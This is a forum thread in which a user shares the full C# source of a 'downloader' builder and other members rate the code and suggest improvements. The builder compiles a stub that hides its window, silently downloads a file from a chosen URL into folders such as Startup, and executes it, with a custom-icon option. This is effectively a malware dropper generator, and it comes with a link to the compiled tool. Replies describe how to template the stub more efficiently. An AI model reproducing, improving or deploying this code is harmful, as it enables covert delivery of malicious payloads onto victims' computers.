[CrypticX]

Hi there

I've coded a downloader in C# .NET Framework 2.0. And I thought I'm going to make it open source.

Here's the code:

PHP Code


<?php 
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.CodeDom;
using System.CodeDom.Compiler;
using Microsoft.CSharp;
using System.IO;
using System.Runtime.InteropServices;

namespace Inject
{
    public partial class Form1 : Form
    {
      RichTextBox rtb1 = new RichTextBox();
      public Form1()
      {
      InitializeComponent();
      }

      private void Form1_Load(object sender, EventArgs e)
      {
      comboBox1.SelectedIndex = 0;
      }

      private void button1_Click(object sender, EventArgs e)
      {
      StreamWriter sw = new StreamWriter(Application.StartupPath.ToString() + "\\compile.txt", false);
      sw.WriteLine("using System;");
      sw.WriteLine("using System.Collections.Generic;");
      sw.WriteLine("using System.Text;");
      sw.WriteLine("using System.Diagnostics;");
      sw.WriteLine("using System.Net;");
      sw.WriteLine("using System.Runtime.InteropServices;");
      sw.WriteLine("using System.IO;");
      sw.WriteLine("");
      sw.WriteLine("");
      sw.WriteLine("namespace temp");
      sw.WriteLine("{");
      sw.WriteLine("    class Program");
      sw.WriteLine("    {");
      sw.WriteLine("      [DllImport(" + "\"" + "kernel32.dll" + "\"" + ")]");
      sw.WriteLine("      static extern IntPtr GetConsoleWindow();");
      sw.WriteLine("      [DllImport(" + "\"" + "user32.dll" + "\"" + ")]");
      sw.WriteLine("      static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);");
      sw.WriteLine("      const int SW_HIDE = 0;");
      sw.WriteLine("      const int SW_SHOW = 5;");
      sw.WriteLine("      static void Main(string[] args)");
      sw.WriteLine("      {");
      sw.WriteLine("      ShowWindow(GetConsoleWindow(), SW_HIDE);");
      sw.WriteLine("      try");
      sw.WriteLine("      {");
      if (comboBox1.SelectedIndex == 0)
      {
      sw.WriteLine("      if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)" + "+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
      sw.WriteLine("      {");
      sw.WriteLine("      WebClient wb = new WebClient();");
      sw.WriteLine("      wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," + "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      sw.WriteLine("      Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      }
      if (comboBox1.SelectedIndex == 1)
      {
      sw.WriteLine("      if (!File.Exists(" +"Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
      sw.WriteLine("      {");
      sw.WriteLine("      WebClient wb = new WebClient();");
      sw.WriteLine("      wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +  "Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      sw.WriteLine("      Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      }
      if (comboBox1.SelectedIndex == 2)
      {
      sw.WriteLine("      if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
      sw.WriteLine("      {");
      sw.WriteLine("      WebClient wb = new WebClient();");
      sw.WriteLine("      wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +"Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      sw.WriteLine("      Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      }
      if (comboBox1.SelectedIndex == 3)
      {
      sw.WriteLine("      if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.Cookies)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
      sw.WriteLine("      {");
      sw.WriteLine("      WebClient wb = new WebClient();");
      sw.WriteLine("      wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," +"Environment.GetFolderPath(Environment.SpecialFolder.Cookies)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      sw.WriteLine("      Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.Cookies)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      }
      if (comboBox1.SelectedIndex == 4)
      {
      sw.WriteLine("      if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
      sw.WriteLine("      {");
      sw.WriteLine("      WebClient wb = new WebClient();");
      sw.WriteLine("      wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," + "Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      sw.WriteLine("      Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      }
      if (comboBox1.SelectedIndex == 5)
      {
      sw.WriteLine("      if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)"+"+" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
      sw.WriteLine("      {");
      sw.WriteLine("      WebClient wb = new WebClient();");
      sw.WriteLine("      wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," + "Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)" + "+" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      sw.WriteLine("      Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)" + "+" + "\"" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      }
      if (comboBox1.SelectedIndex == 6)
      {
      sw.WriteLine("      if (!File.Exists(" + "Environment.GetFolderPath(Environment.SpecialFolder.Startup)" + "+" + "\"" + "@\"" + "\\" + textBox2.Text + "\"" + "))");
      sw.WriteLine("      {");
      sw.WriteLine("      WebClient wb = new WebClient();");
      sw.WriteLine("      wb.DownloadFile(" + "\"" + textBox1.Text + "\"" + "," + "Environment.GetFolderPath(Environment.SpecialFolder.Startup)" + "+" + "@\"" +"\\" + textBox2.Text + "\"" + ");");
      sw.WriteLine("      Process.Start(" + "Environment.GetFolderPath(Environment.SpecialFolder.Startup)" + "+" + "\"" + "@\"" + "\\" + textBox2.Text + "\"" + ");");
      }
      sw.WriteLine("      Environment.Exit(0);");
      sw.WriteLine("      }");
      sw.WriteLine("      else");
      sw.WriteLine("      {");
      sw.WriteLine("      Environment.Exit(0);");
      sw.WriteLine("      }");
      sw.WriteLine("      }");
      sw.WriteLine("      catch (Exception)");
      sw.WriteLine("      {");
      sw.WriteLine("      Main(args);");
      sw.WriteLine("      }");
      sw.WriteLine("      }");
      sw.WriteLine("    }");
      sw.WriteLine("}");
      sw.Close();
      SaveFileDialog sfd = new SaveFileDialog();
      sfd.Filter = "App |*.exe";
      if (sfd.ShowDialog() == DialogResult.OK)
      {
      Compile(Application.StartupPath.ToString() + "\\compile.txt", Path.GetDirectoryName(sfd.FileName) + "\\" + Path.GetFileName(sfd.FileName));
      MessageBox.Show("Succeed!", "Done", MessageBoxButtons.OK, MessageBoxIcon.Information);
      }
      File.Delete(Application.StartupPath.ToString() + "\\compile.txt");
      }

      public bool Compile(string sourcefile, string exefile)
      {
      CSharpCodeProvider ccp = new CSharpCodeProvider();
      CompilerParameters cp = new CompilerParameters();
      cp.ReferencedAssemblies.Add("System.dll");
      cp.ReferencedAssemblies.Add("System.Data.dll");
      cp.ReferencedAssemblies.Add("System.Xml.dll");
      if (textBox3.Text != "")
      {
      cp.CompilerOptions = @"/win32icon:" + textBox3.Text;
      }
      else
      {

      }
      cp.GenerateExecutable = true;
      cp.OutputAssembly = exefile;
      cp.GenerateInMemory = false;
      CompilerResults cr = ccp.CompileAssemblyFromFile(cp, sourcefile);
      if (cr.Errors.Count > 0)
      {
      foreach (CompilerError ce in cr.Errors)
      {
      MessageBox.Show(ce.ToString());
      }
      return false;
      }
      else
      {
      return true;
      }
      }

      private void button3_Click(object sender, EventArgs e)
      {
      OpenFileDialog ofd = new OpenFileDialog();
      ofd.Filter = "Icon |*.ico";
      if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
      {
      textBox3.Text = ofd.FileName;
      }
      }
    }
} 


here's the download link for the exe:
http://www.filedropper.com/inject

Please give some feedback, and tell me what you would have done to make it better.

I'm still a beginner, so please take it easy.

EDIT: Could you rate my code out of /10.

Thanks in advance 🤝

[geraldososa]

Nice program, i'll give the code a 2/10.

[Programming]

Why not just use the CodeDom function and use a text file resource and use String.Replace() to change / add whatever you need? This is very inefficient.

[CrypticX]

Why not just use the CodeDom function and use a text file resource and use String.Replace() to change / add whatever you need? This is very inefficient.

That's very interesting what your saying, could you please explain?

I mean that's what I wanted to try and do, but didn't know how to modify the resource file, so I went looking on google for the solution on how to do it but I saw everyone saying that it was impossible to modify it while on runtime? That's where I changed my mind and did it using streamwriter and compiling it from a file.

EDIT: here's where I've read this:
http://stackoverflow.com/questions/20772...mmatically

Maybe it's because I didn't understand it good, because English is not my native language.

[Cornflower Blue இڿڰۣ-ڰۣ—]

I think I puked a little, sorry, this code is just horrible.

[CrypticX]

I think I puked a little, sorry, this code is just horrible.

Thanks for the feedback I'll try to make it better next time 🤝

[Zettabit]

Code: 2/10

Reason: Extremely inefficient.

How to improve:
Using CodeDom like Programming stated would be much more beneficial. As to your problem with "modifying a resource", you don't modify it. You declare local string, and link it to the resource, and edit the string.

Example:

Code

void EditOnRuntime()
{
    string stub = Properties.Resources.NameOfYourTextFile;
    stub = stub.Replace("the_string_you_want_to_replace", "what_you_want_to_replace_it_with");
    MessageBox.Show(stub);
}

In your project, create a text file resource, add your stub (which would be your god awful StreamWriter shit), then replace the strings with your code.

For example, say I had an option for the drop location like you have, I would put this in the stub:

Code

some code here
...

#droplocation#

...
more code here

Then I would use String.Replace("#droplocation#", ...); with my selected option.

[CrypticX]

Code: 2/10

Reason: Extremely inefficient.

How to improve:
Using CodeDom like Programming stated would be much more beneficial. As to your problem with "modifying a resource", you don't modify it. You declare local string, and link it to the resource, and edit the string.

Example:

Code

void EditOnRuntime()
{
    string stub = Properties.Resources.NameOfYourTextFile;
    stub = stub.Replace("the_string_you_want_to_replace", "what_you_want_to_replace_it_with");
    MessageBox.Show(stub);
}

In your project, create a text file resource, add your stub (which would be your god awful StreamWriter shit), then replace the strings with your code.

For example, say I had an option for the drop location like you have, I would put this in the stub:

Code

some code here
...

#droplocation#

...
more code here

Then I would use String.Replace("#droplocation#", ...); with my selected option.

Damn, that easy? Lol do you know what kind of shit I've been trough writing everything between sw.WriteLine("");? :p

Thanks for the answer 🤝

[Paradoll]

wow thanks for thisss! i like you !

[DarkN3ss61]

10/10 for handling feedback like a boss :)